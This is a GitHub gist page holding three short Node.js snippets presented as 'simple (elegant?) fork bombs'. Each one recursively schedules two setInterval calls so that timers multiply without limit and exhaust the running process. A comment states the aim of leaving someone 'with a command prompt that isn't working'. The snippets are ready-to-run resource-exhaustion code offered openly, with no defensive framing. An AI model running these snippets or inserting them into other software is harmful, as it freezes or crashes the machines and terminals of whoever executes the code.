Skip to content

Instantly share code, notes, and snippets.

@JoshuaSkootsky
Created January 21, 2020 19:28
Show Gist options
  • Save JoshuaSkootsky/8957dd45e70b67c111849320abbca0cb to your computer and use it in GitHub Desktop.
Save JoshuaSkootsky/8957dd45e70b67c111849320abbca0cb to your computer and use it in GitHub Desktop.
Simple (elegant?) fork bombs for Node.js
// by Joshua Skootsky, January 21, 2020
const s = () => {
setInterval(s, 0);
setInterval(s, 0);
};
//IIFE
(function s(){
setInterval(s, 0);
setInterval(s, 0);
})();
// leave them with a command prompt that isn't working
setInterval(s = () => {
setInterval(s, 0);
setInterval(s, 0);
}, 0);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment